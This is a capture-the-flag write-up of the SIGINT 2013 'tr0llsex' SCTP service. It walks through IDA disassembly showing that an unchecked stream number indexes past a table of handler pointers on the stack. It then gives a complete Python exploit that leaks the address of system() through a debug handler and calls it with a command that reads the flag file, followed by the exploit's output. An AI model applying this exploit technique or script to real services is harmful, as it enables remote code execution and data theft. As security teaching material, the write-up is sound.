server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x66661e417e6b4037e552b904c755f2e4a7ecf934, stripped
tr0llsex was a Linux ELF 64-bit binary from the SIGINT 2013 CTF’s Pwning category. It’s a fun little easy challenge with a twist: it’s using SCTP protocol for the network transport layer instead of TCP or UDP.
One of SCTP’s features is the ability to have separate ordered data streams inside the same SCTP connection. This challenge uses this feature.
$ socat – ‘sctp-connect:188.40.147.118:1024’
stream 0: md4, stream 1: md5, stream 2: sha1, stream 3: random
After connection, you send your data to a specific stream number and depending on the stream number, your data will get a specific transform (MD4, MD5, SHA1, random bytes) and then get echoed back to you.
Let see how the binary is choosing which transform to use based on the stream number.
We have a table that is constructed on the stack, this table is mapping stream number with handlers:
-0000000000000858 md5_off dq ?
-0000000000000850 sha1_off dq ?
-0000000000000848 random_off dq ?
.text:00000000004015BE mov rax, ds:md4_off
.text:00000000004015C6 mov [rbp+md4_off], rax
.text:00000000004015CD mov rax, ds:md5_off
.text:00000000004015D5 mov [rbp+md5_off], rax
.text:00000000004015DC mov rax, ds:sha1_off
.text:00000000004015E4 mov [rbp+sha1_off], rax
.text:00000000004015EB mov rax, ds:random_off
.text:00000000004015F3 mov [rbp+random_off], rax
.rodata:0000000000401960 md4_off dq offset md4_handler ; DATA XREF: do_menu+4Er
.rodata:0000000000401968 md5_off dq offset md5_handler ; DATA XREF: do_menu+5Dr
.rodata:0000000000401970 sha1_off dq offset sha1_handler ; DATA XREF: do_menu+6Cr
.rodata:0000000000401978 random_off dq offset random_handler ; DATA XREF: do_menu+7Br
So table layout is:
[QWORD pointer to handler for stream 0]
[QWORD pointer to handler for stream 1]
[QWORD pointer to handler for stream 2]
[QWORD pointer to handler for stream 3]
Helping IDA with this unknown library call by adding the function signature:
.plt:0000000000400CA0 _sctp_recvmsg proc near ; CODE XREF: do_menu+17Ep
.plt:0000000000400CA0
.plt:0000000000400CA0 msg_flags = qword ptr 8
.plt:0000000000400CA0
.plt:0000000000400CA0 jmp cs:off_602098
.plt:0000000000400CA0 _sctp_recvmsg endp
The binary calls _sctp_recvmsg function to get a datagram and get the stream number into the sinfo variable:
.text:00000000004016BA mov rax, 0
.text:00000000004016C4 lea r9, [rbp+sinfo] ; sinfo
.text:00000000004016C8 lea rcx, [rbp+msg_flags_orig2]
.text:00000000004016CC lea rsi, [rbp+msg] ; msg
.text:00000000004016D3 mov edi, [rbp+sock_fd] ; sd
.text:00000000004016D6 mov [rbp+msg_flags_orig], rcx
.text:00000000004016DD mov rcx, rax ; from
.text:00000000004016E0 mov r8, rax ; fromlen
.text:00000000004016E3 mov rax, [rbp+msg_flags_orig]
.text:00000000004016EA mov [rsp+8B0h+msg_flags], rax ; msg_flags
.text:00000000004016EE call _sctp_recvmsg
The binary gets ready to call the correct handler:
– rax contains the stream number (from sinfo)
– offset calculation for our table of QWORD pointers
– datagram content is in rdi (first parameter for the handler function as per Linux x86_64 calling convention)
– datagram size is in rsi
.text:000000000040175C movsx rax, [rbp+sinfo]
.text:0000000000401761 mov rax, [rbp+rax*8+md4_off]
.text:0000000000401769 movsxd rsi, [rbp+read_buffer_size]
.text:000000000040176D mov edx, [rbp+sock_fd]
.text:0000000000401770 call rax
The vulnerability we see here is that if we use a high numbered stream number, we will lookup past the table and look further into the stack, let see the stack layout again:
.text:0000000000401570 md5_off = qword ptr -858h
.text:0000000000401570 sha1_off = qword ptr -850h
.text:0000000000401570 random_off = qword ptr -848h
.text:0000000000401570 var_838 = qword ptr -838h
.text:0000000000401570 msg = byte ptr -830h
.text:0000000000401570 sinfo = word ptr -30h
Very convenient, just after the table we have our “msg” buffer which contains our datagram content, we will be able to control the value of rax and call any pointer we want.
Now, what can we call ? We need something like system() to retrieve the flag on the challenge server filesystem. But system() is not imported in the GOT so we don’t know its offset into libc yet. We need to reverse a bit more.
An unused hander called “debug_handler” is also present in the binary. What this handler does is dlopen() the current binary (NULL filename) and look up a user-defined symbol inside, it output back the pointer to this symbol inside the binary.
According to the dlopen() man page:
If filename is a NULL pointer, then the returned handle is for the main program. When given to dlsym(), this handle causes a search for a symbol in the main program, followed by all shared libraries loaded at program startup, and then all shared libraries loaded by dlopen() with the flag RTLD_GLOBAL.
Which mean we can lookup symbols inside libc as well!
So our strategy:
– Step 1) Leak pointer to system() libc using debug_handler function
– Step 2) Call system() function with a shell command to leak flag file content
We can hopefully uses NULL-terminated string with sctp_recvmsg, so the payload layout is as follow:
payload += 'B' * (16 - len(payload)) # pad to 16 bytes
payload += pack('<Q', 0x401120) # RIP to debug_handler
tcp.sctp_send(payload, stream=8)
We need 48 bytes to reach “msg” from “md4_off” in the stack and then we need to skip the start of our payload (“system” string). We reserve 16 bytes for this part so the distance between “md4_off” and our controlled pointer will be 64 bytes.
According to “mov rax, [rbp+rax*8+md4_off]”, stream number needs to be 64/8 = 8.
The “debug_handler” function will send back the pointer on stream 1337:
...
.text:0000000000401146 mov rdi, 0 ; NULL = current binary
.text:0000000000401150 mov esi, 102h ; mode
.text:0000000000401155 mov [rbp+var_B4], eax
.text:000000000040115B call _dlopen
...
.text:0000000000401189 mov rdx, 80h ; n
.text:0000000000401193 lea rdi, [rbp+s] ; dest
.text:000000000040119A mov rsi, [rbp+src] ; src
.text:000000000040119E call _strncpy
.text:00000000004011A3 lea rsi, [rbp+s] ; name
.text:00000000004011AA mov rdi, [rbp+handle] ; handle
.text:00000000004011B1 mov [rbp+var_C8], rax
.text:00000000004011B8 call _dlsym
...
.text:00000000004011D5 mov rsi, 80h ; maxlen
.text:00000000004011DF lea rdx, format ; "%p" make pointer from dlsym() result
.text:00000000004011E7 lea rdi, [rbp+s] ; s
.text:00000000004011EE mov rcx, [rbp+var_A8]
.text:00000000004011F5 mov al, 0
.text:00000000004011F7 call _snprintf
...
.text:0000000000401221 mov rcx, 0 ; to
.text:000000000040122B mov r8d, 0 ; tolen
.text:0000000000401231 mov r9d, 539h
.text:0000000000401237 mov edi, [rbp+sd] ; sd
.text:000000000040123D mov rsi, [rbp+msg] ; msg
.text:0000000000401244 mov rdx, rax ; len
.text:0000000000401247 mov [rbp+ppid], r8d
.text:000000000040124E mov r10d, [rbp+ppid]
.text:0000000000401255 mov [rbp+var_E4], r9d
.text:000000000040125C mov r9d, r10d ; ppid
.text:000000000040125F mov [rsp+110h+flags], 0 ; flags
.text:0000000000401266 mov dword ptr [rsp+110h+stream_no], 1337 ; stream_no
.text:000000000040126E mov [rsp+110h+timetolive], 0 ; timetolive
.text:0000000000401276 mov [rsp+110h+context], 0 ; context
.text:000000000040127E call _sctp_sendmsg
As we did a clean call, the program will loop after this infoleak and waits for our next command:
print "system=", hex(system)
payload = 'cat /h*/*/f*>&4' + chr(0)
payload += 'B' * (16 - len(payload))
payload += pack('<Q', system) # RIP system()
tcp.sctp_send(payload, stream=8)
Same way to exploit, we overflow the table, pass over our data in the “msg” buffer and call a user-controlled pointer. This time this pointer will be system().
Our command is passed to system() via the rdi register like with the “debug_handler” call.
We take advantage of UNIX’s file descriptor concept: even if we are using SCTP connection, it’s a socket-based file descriptor to Linux and we can redirect the command output to it with a simple “>&4”. As the daemon is forking, file descriptor will always be 4.
Complete exploit:
import sctp
from sctp import *
import time
from struct import pack,unpack
server = "188.40.147.118"
tcpport = 1024
if _sctp.getconstant("IPPROTO_SCTP") != 132:
raise "getconstant failed"
tcp = sctpsocket_tcp(socket.AF_INET)
saddr = (server, tcpport)
tcp.connect(saddr)
t = 0
while 1:
fromaddr, flags, msgret, notif = tcp.sctp_recv(1000)
print " Msg arrived, flag %d" % flags
if flags & FLAG_NOTIFICATION:
raise "We did not subscribe to receive notifications!"
else:
print "stream %d" % notif.stream
print "%s" % msgret
if flags == 0:
break;
if t==0:
payload = 'system' + chr(0)
payload += 'B' * (16 - len(payload))
payload += pack('<Q', 0x401120) # RIP
tcp.sctp_send(payload, stream=8)
if t==1:
system = int(msgret[2:],16)
print "system=", hex(system)
payload = 'cat /h*/*/f*>&4' + chr(0)
payload += 'B' * (16 - len(payload))
payload += pack('<Q', system) # RIP
tcp.sctp_send(payload, stream=8)
t += 1
tcp.close()
Exploit output:
$ python trollsex.py
Msg arrived, flag 128
stream 0
stream 0: md4, stream 1: md5, stream 2: sha1, stream 3: random
Msg arrived, flag 128
stream 0
0x7f1595d703d0
system= 0x7f1595d703d0
Msg arrived, flag 128
stream 0
SIGINT_we_care_for_our_irc_tr0lls
“SIGINT_we_care_for_our_irc_tr0lls” is the flag.